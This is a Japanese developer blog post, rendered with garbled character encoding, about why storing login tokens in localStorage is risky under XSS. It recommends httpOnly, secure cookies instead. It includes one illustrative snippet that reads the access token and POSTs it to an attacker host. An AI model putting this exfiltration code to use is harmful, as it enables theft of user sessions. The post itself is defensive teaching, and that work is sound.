ð ïž ãŸãã¯åããïŒã§ããã®ããšã«èããã¹ããã»ãã¥ãªãã£ãã®è©±
æçš¿æ¥: 2025幎05æ26æ¥
Webã¢ããªãéçºããŠãããšããŸãããã°ã€ã³æ©èœãã€ãããããšæããŸãããã
æåã¯ãšã«ãããåãããšãã倧äºã§ããåãããã§ããã
ãã°ã€ã³ãããããã·ã¥ããŒãã«é·ç§»ãã
ããäžåºŠéããããã°ã€ã³ç¶æ ãæ®ã£ãŠãã
ããã°ã€ã³ç¶æ ãä¿æãããã«ãã§ãã¯ãã€ãããèšæ¶ããã
ãŸãã¯ãããŸã§ã§ããã°ããããåãããïŒããšãã³ã·ã§ã³ãäžãããŸãã
ã§ããããã ãã§çµãã£ãŠã¯ãããŸããã
ä»åã¯ãããŒã¯ã³ã®ä¿åå Žæãã«ã€ããŠãã»ãã¥ãªãã£ã®èгç¹ããããšã§ã¡ãããšèããããšãã話ã§ãã
ãŸãæè»œã«åããæ¹æ³ãšããŠãã䜿ãããã®ãããã§ãïŒ
localStorage.setItem("accessToken", token);
ãã°ã€ã³åŸã«ããŒã¯ã³ãååŸã㊠localStorage
ã«ä¿åããæ¬¡åã¢ã¯ã»ã¹æã« localStorage.getItem()
ã§èªã¿åºãã°ãããã°ã€ã³ç¶æ
ãä¿æããŠããããã«èŠããã ãšããå®è£
ã«ãªããŸãã
ããããšãŠãæè»œã§åããŸãã
localStorage ã sessionStorage ã¯ãJavaScript ããç°¡åã«èªã¿æžãã§ããŸãã
ãšããããšã¯ã**æªæã®ããã¹ã¯ãªããïŒXSSæ»æïŒ**ãå
¥ã蟌ãã ãšãã以äžã®ãããªããšãå¯èœã«ãªããŸãã
const stolenToken = localStorage.getItem("accessToken");
fetch("https://attacker.com/steal", {
method: "POST",
body: JSON.stringify({ token: stolenToken }),
});
ããã¯æ¬åœã«å±éºã§ãã
httpOnly
ãã©ã°ãã€ãã Cookie ã«ããŒã¯ã³ãä¿åãããšãJavaScript ããã¢ã¯ã»ã¹ã§ããŸããã
ã€ãŸããXSSæ»æã®è¢«å®³ã倧ããæžããããšãã§ããŸãã
res.cookies.set("access-token", token, {
httpOnly: true,
secure: true,
sameSite: "lax",
path: "/",
maxAge: 60 * 60 * 24 * 30, // 30æ¥
});
ãã®ããã«èšå®ããã°ãããŒã¯ã³ã¯ ãµãŒããŒã«èªåã§éä¿¡ãããã¯ã©ã€ã¢ã³ãåŽã§ã¯è§Šããªãç¶æ ã«ãªããŸãã
åå¿è ãé¥ããã¡ãªèœãšã穎ã¯ããåããããOKïŒãã§çµããããšã§ãã
ã§ããWebã¢ããªãå°ããã€äœ¿ããããã«ãªã£ãŠãããšã
ãæªæããã¢ã¯ã»ã¹ããããªãããŸããããå®ãå¿
èŠãåºãŠããŸãã
ã ããããã
ãŸã㯠localStorage ãªã©ã䜿ã£ãŠãåããã°ã€ã³æ©èœããäœã
次ã«ã»ãã¥ãªãã£ã«ã€ããŠèª¿ã¹ãŠãCookieããŒã¹ã«ç§»è¡ãã
ãšããæµãã§éçºããŠããã®ããèªç¶ã§ããããŠæ£ããé åºã ãšæããŠããŸãã
ð ããŸãïŒèŠããŠããã¹ããã€ã³ããŸãšã
ã»ãã¥ãªãã£ãå®ç§ã«çè§£ããŠããå®è£
ããå¿
èŠã¯ãããŸããã
æåã¯ããã°ã€ã³ã§ããïŒç¶æ
ãä¿æã§ããïŒããšãããšããã§æºè¶³ããŠããŸãããã§ãå®éã«èªåã§ãªãªãžãã«ã¢ããªãäœãé²ããŠããäžã§ã**ãããä»äººã®ãã©ãŠã¶ã§èªåãã°ã€ã³ããããïŒããæªæããã³ãŒããå
¥ã蟌ãã ãïŒã**ãšããªã¢ã«ãªå±æ©æãèœçããŠããŸããã
èªåã®ã¢ããªã«ãŠãŒã¶ãŒãå¢ããããæ©èœãå¢ããŠãããšããæ£ããåãããšãã ãã§ã¯è¶³ããªããšæ°ã¥ããŸãã
åããã®ãã§ãããããããæ¬¡ã«ãã©ãå®ããããçå£ã«èããããããã«ãªã£ãââããã¯ãªãªãžãã«ã¢ããªãäœã£ãŠã¿ãããããã®æ°ã¥ãã§ããã
ãGitãgit stashã§è¿œå ãããã¡ã€ã«ãäžæéé¿ã§ããïŒåå¿è åãã«åŸ¹åºè§£èª¬ïŒ
13ç« å®å課é¡ã®æ¯ãè¿ã
å®è£ ã§ããã¬ãã«ã®ç²åºŠã«ã¿ã¹ã¯ãåè§£ããæ¹æ³
å人éçºã®ã¢ããªéçºã§GitHub Projectsã䜿ã£ããã±ããç®¡çæ¹æ³
ã13ç« ãå®åäœéšèª²é¡ã®ææ³
Codex䜿ã£ãŠã¿ãå ±å